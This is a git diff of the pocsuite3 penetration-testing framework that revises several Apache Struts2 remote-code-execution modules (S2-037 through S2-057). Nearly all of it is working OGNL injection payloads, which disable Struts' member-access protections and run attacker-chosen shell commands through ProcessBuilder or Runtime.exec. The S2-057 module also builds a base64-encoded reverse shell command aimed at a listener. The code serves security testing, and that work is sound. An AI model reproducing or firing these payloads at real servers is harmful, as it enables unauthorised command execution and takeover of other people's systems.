+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.3.20 - Struts Struts 2.3.28.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-037:Struts 2.3.20 - Struts Struts 2.3.28.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -30,17 +31,31 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
result = {}
- exec_payload = r"""%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"""
- flag = random_str(5)
- cmd = "echo {};".format(flag)
- payload = exec_payload.format(cmd=quote(cmd))
- html = requests.get(self.url + payload).text
- if flag in html:
+ check_poc = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]%2b602%2b53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
+ html = requests.get(self.url + "/" + check_poc).text
+ if '1008660253718' in html:
result["VerifyInfo"] = {
"URL": self.url,
}
+ return result
+ return False
+ def _attack(self):
+ result = {}
+ p = self._check()
+ if p:
+ exec_payload = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command={cmd}"
+ cmd = self.get_option("command")
+ html = requests.get(self.url + "/" + exec_payload.format(cmd=quote(cmd)))
+ if html:
+ result["VerifyInfo"] = {
+ "result": html.text.replace("\x00","").encode(),
+ }
return self.parse_output(result)
def parse_output(self, result):
@@ -51,5 +66,4 @@ def parse_output(self, result):
output.fail('target is not vulnerable')
return output
-
register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
index b0dba65c..d984401e 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
@@ -5,6 +5,7 @@
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -12,17 +13,17 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-045']
+ name = 'Apache Struts2 s2-045'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-045:影响版本Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -30,10 +31,13 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('ls', description="可执行的shell命令")
return o
-
def _verify(self):
- result = {}
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
+ result = {}
flagname = random_str(5, string.ascii_lowercase)
randint = random.randint(300, 900)
calc_result = randint * randint
@@ -55,29 +59,31 @@ def _verify(self):
"URL": self.url,
"Headers": repr(headers)
}
-
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
result = {}
- payloadPrefix = "hah-multipart/form-data %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
-
- payloadSuffix = "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
- cmd = self.get_option("command")
- payload = payloadPrefix + cmd + payloadSuffix
- headers = {
- "Content-Type": payload,
- "Connection": "close"
- }
- req = requests.get(self.url, headers=headers)
- html = ''
- if req.status_code == 200 and req.text:
- html = req.text
- result["VerifyInfo"] = {
- "VerifyInfo": {
- "info": html
+ p = self._check()
+ if p:
+ payloadPrefix = "hah-multipart/form-data %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
+
+ payloadSuffix = "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
+ cmd = self.get_option("command")
+ payload = payloadPrefix + cmd + payloadSuffix
+ headers = {
+ "Content-Type": payload,
+ "Connection": "close"
+ }
+ req = requests.get(self.url, headers=headers)
+ html = ''
+ if req.status_code == 200 and req.text:
+ html = req.text
+ result["VerifyInfo"] = {
+ "VerifyInfo": {
+ "info": html
+ }
}
- }
return self.parse_output(result)
def _shell(self):
diff --git a/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
index 8c7ceaee..f4da1a9a 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
@@ -1,22 +1,23 @@
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-046']
+ name = 'Apache Struts2 s2-046'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -27,6 +28,11 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
headers = {
"Connection": "Close",
@@ -44,33 +50,34 @@ def _verify(self):
result["VerifyInfo"] = {
"URL": self.url,
}
-
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
result = {}
- exec_payload = b"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('CMD'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}\0\0b"
-
- cmd = self.get_option("command")
- exec_payload = exec_payload.replace(b'CMD', cmd.encode())
- data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
+ p = self._check()
+ if p:
+ exec_payload = b"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('CMD'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}\0\0b"
+ cmd = self.get_option("command")
+ exec_payload = exec_payload.replace(b'CMD', cmd.encode())
+ data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
Content-Disposition: form-data; name="test"; filename="FILENAME"
-Content-Type: text/plain
+Content-Type: text/plain
+
x
--3b0bfa1f36cb6157a128f0549a4a7446--'''.replace(b'FILENAME', exec_payload).replace(b'\n', b'\r\n')
- headers = {
- "Connection": "Close",
- "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
- }
- print(data)
- html = requests.post(self.url, data=data, headers=headers).text
-
- if html:
- result["VerifyInfo"] ={
- "URL": self.url,
- "Content": html
+ headers = {
+ "Connection": "Close",
+ "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
}
+ html = requests.post(self.url, data=data, headers=headers).text
+
+ if html:
+ result["VerifyInfo"] ={
+ "URL": self.url,
+ "Content": html.replace("\x00","").encode()
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
index dbd27ba3..93d4cefe 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
@@ -1,51 +1,73 @@
import random
+import string
from collections import OrderedDict
-
+from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-048']
+ name = 'Apache Struts2 s2-048'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.3.x with Struts 1 plugin and Struts 1 action'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; '''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _options(self):
o = OrderedDict()
- o["post_data"] = OptString('username=test&password={exp}', description="在要检测的参数位置用{exp}代替")
+ o["command"] = OptString('ls', description="需要执行的命令")
return o
-
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
- data = self.get_option("post_data")
- headers = {
- "Content-Type": 'application/x-www-form-urlencoded'
- }
- check_poc = "%24%7B{num1}%2B{num2}%7D"
- num1 = random.randint(10000, 100000)
- num2 = random.randint(10000, 100000)
- poc = check_poc.format(num1=num1, num2=num2)
- data = data.format(exp=poc)
- html = requests.post(self.url, data, headers).text
- nn = str(num1 + num2)
- if nn in html:
+ randint = random.randint(300, 900)
+ calc_result = randint * randint
+ cmd = f"echo {calc_result}"
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+ post_data = self.get_exp(cmd)
+ res = requests.post(self.url, headers=headers, data=post_data)
+ if str(calc_result) in res.text:
result["VerifyInfo"] = {
"URL": self.url,
+ "Status": "Success!"
}
+ return result
+ return False
+ def get_exp(self,cmd):
+ cmd = quote(cmd)
+ data2 = "name=%25%7B%28%23_%3D%27multipart%2fform-data%27%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27" + cmd + "%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&age=123&__cheackbox_bustedBefore=true&description=123"
+ return data2
+ def _attack(self):
+ result = {}
+ p = self._check()
+ if p:
+ cmd = self.get_option("command")
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+ post_data = self.get_exp(cmd)
+ res = requests.post(self.url,headers=headers,data=post_data)
+ if res.status_code ==200:
+ result["VerifyInfo"] = {
+ "result":res.text.replace("\x00","").encode()
+ }
return self.parse_output(result)
+
def parse_output(self, result):
output = Output(self)
if result:
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
index 496a6856..2af703a4 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
@@ -3,6 +3,7 @@
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -10,23 +11,23 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-052']
+ name = 'Apache Struts2 s2-052'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-052:影响版本Struts 2.1.2-2.3.33,2.5-2.5.12; POST请求发送数据,不需要参数;'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _options(self):
o = OrderedDict()
- o["command"] = OptString('', description="可执行的shell命令")
+ o["command"] = OptString('touch /var/tmp/123321', description="可执行的shell命令")
return o
def parse_cmd(self, cmd, type='string'):
@@ -40,10 +41,13 @@ def parse_cmd(self, cmd, type='string'):
cmd_str = cmd
return cmd_str
+ def _attack(self):
+ return self._verify()
+
def _verify(self):
result = {}
headers = {
- "Content-Type": 'application/x-www-form-urlencoded'
+ "Content-Type": 'application/xml'
}
exec_payload = """"""
- randstr = random_str(5)
- cmd = "echo " + randstr
+ cmd = self.get_option("command")
cmd = self.parse_cmd(cmd, type='xml')
data = exec_payload.format(cmd=cmd)
html = requests.post(self.url, data=data, headers=headers).text
- if randstr in html:
+ if html:
result["VerifyInfo"] = {
"URL": self.url,
+ "success":"success!"
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
index 0bd827ed..dc3c5950 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
@@ -1,46 +1,77 @@
import random
from collections import OrderedDict
+from urllib.parse import quote
+
+from lxml import etree
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-053']
+ name = 'Apache Struts2 s2-053'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password;'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - 2.3.33\nStruts 2.5 - Struts 2.5.10.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10.1; '''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+
+ def _options(self):
+ o = OrderedDict()
+ o['param'] = OptString('message', description='url参数')
+ o['command'] = OptString('ls', description='执行的命令')
+ return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
result = {}
headers = {
"Content-Type": 'application/x-www-form-urlencoded'
}
- data = "username=test&password={exp}"
+ data = "message={exp}"
check_poc = "%25%7B{num1}%2B{num2}%7D"
num1 = random.randint(10000, 100000)
num2 = random.randint(10000, 100000)
poc = check_poc.format(num1=num1, num2=num2)
data = data.format(exp=poc)
- html = requests.post(self.url, data, headers).text
+ html = requests.post(self.url, data, headers=headers).text
nn = str(num1 + num2)
if nn in html:
result["VerifyInfo"] = {
"URL": self.url,
}
+ return result
+ return False
+ def _attack(self):
+ result = {}
+ p = self._check()
+ if p:
+ url = self.url.rstrip('/')
+ command = self.get_option("command")
+ payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + command + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
+ headers = {"Content-Type":"application/x-www-form-urlencoded"}
+ res = requests.post(url,data=f"{self.get_option('param')}="+quote(payload)+"%0A",headers=headers)
+ tree = etree.HTML(res.text)
+ if res.status_code==200:
+ result_cmd = tree.xpath("//*[@type=\"hidden\"]/@id")
+ result["VerifyInfo"] = {
+ "result": result_cmd,
+ }
return self.parse_output(result)
-
def parse_output(self, result):
output = Output(self)
if result:
diff --git a/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
index 907a404c..b6364c73 100755
--- a/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
+++ b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
@@ -11,6 +11,7 @@
from urllib.parse import urlparse
from pocsuite3.api import Output, POCBase, register_poc, logger, requests, get_listener_ip, get_listener_port
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
from pocsuite3.modules.listener import REVERSE_PAYLOAD
@@ -28,7 +29,7 @@ class DemoPOC(POCBase):
appPowerLink = ''
appName = 'Apache Struts2'
appVersion = '2.3.5-2.3.34, 2.5-2.5.16'
- vulType = 'Remote command execute'
+ vulType = VUL_TYPE.CODE_EXECUTION
suricata_request = '''http.method; content:"GET"; http.uri.raw; url_decode; url_decode; strip_whitespace; content:"${(#"; content:"@"; content:".";'''
suricata_response = ''''''
desc = '''
@@ -46,8 +47,7 @@ def _options(self):
def expolit(self, mode='verify'):
result = {}
- self.url = self.url.rstrip('/')
-
+ url = self.url.rstrip('/')
ognl_payloads = []
vuls = []
command = ""
@@ -57,7 +57,7 @@ def expolit(self, mode='verify'):
num_1 = random.randint(000000000, 999999999)
num_2 = random.randint(000000000, 999999999)
flag = str(num_1 + num_2)
- ognl_payload = "%24%7B{0}+{1}%7D".format(str(num_1), str(num_2))
+ ognl_payload = "%25%7B{0}+{1}%7D".format(str(num_1), str(num_2))
ognl_payloads.append(ognl_payload)
elif mode == 'attack' or mode == 'shell':
@@ -73,13 +73,13 @@ def expolit(self, mode='verify'):
command = "bash -c {echo,%s}|{base64,-d}|{bash,-i}" % b64_cmd
command = urllib.parse.quote(raw_command)
- ognl_payload1 = "%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context)." \
+ ognl_payload1 = "%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context)." \
"(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony." \
"xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm))." \
"(%23a%3D%40java.lang.Runtime%40getRuntime().exec('{}')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D".format(
command)
- ognl_payload2 = "%24%7B%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext." \
+ ognl_payload2 = "%25%7B%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext." \
"container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.setExcludedClasses%28%27" \
"java.lang.Shutdown%27%29%29.%28%23ou.setExcludedPackageNames%28%27sun.reflect.%27%29%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29." \
"%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27{}%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." \
@@ -88,7 +88,7 @@ def expolit(self, mode='verify'):
"getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D".format(
urllib.parse.quote(raw_command.replace("%2f", "/")))
- ognl_payload3 = "%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23cmd%3D%27{}%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." \
+ ognl_payload3 = "%25%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23cmd%3D%27{}%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." \
"contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29." \
"%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io." \
"IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D".format(
@@ -97,10 +97,10 @@ def expolit(self, mode='verify'):
ognl_payloads.append(ognl_payload2)
ognl_payloads.append(ognl_payload3)
- pr = urlparse(self.url)
+ pr = urlparse(url)
if not pr.path.endswith('.action'):
- resp = requests.get(self.url)
+ resp = requests.get(url)
matchs = re.findall(r' 0:
upload = upload[0].upper()+upload[1:]
headers = {
@@ -49,11 +51,13 @@ def _verify(self):
{CONTEXT}
--3b0bfa1f36cb6157a128f0549a4a7446--
'''.replace(b'{UPLOAD}', upload.encode()).replace(b'{CONTEXT}',file_context).replace(b'\n', b'\r\n')
- html = requests.post(url, data=data, headers=headers)
- if html.status_code == 200:
+ requests.post(def_url, data=data, headers=headers)
+ requests.post(url, data=data, headers=headers)
+ res = requests.get(self.url.rstrip("/")+"/../../manager/success.txt")
+ if "Upload Success!" in res.text:
result["VerifyInfo"] = {
- "URL": self.url,
- "info":"Poc execution has been completed. Please verify manually to determine if the upload was successful!"
+ "URL": self.url.rstrip('/')+f"/{self.get_option('filename')}",
+ "info":"Upload Success! "
}
return self.parse_output(result)
@@ -61,7 +65,6 @@ def _verify(self):
def _attack(self):
self._verify()
-
def parse_output(self, result):
output = Output(self)
if result:
diff --git a/pocsuite3/pocs/Apache_Struts2/README.md b/pocsuite3/pocs/Apache_Struts2/README.md
index 3827b8ea..0df32b58 100644
--- a/pocsuite3/pocs/Apache_Struts2/README.md
+++ b/pocsuite3/pocs/Apache_Struts2/README.md
@@ -1,32 +1,223 @@
-## 项目名称
+# Struts2 Exploits & Environment
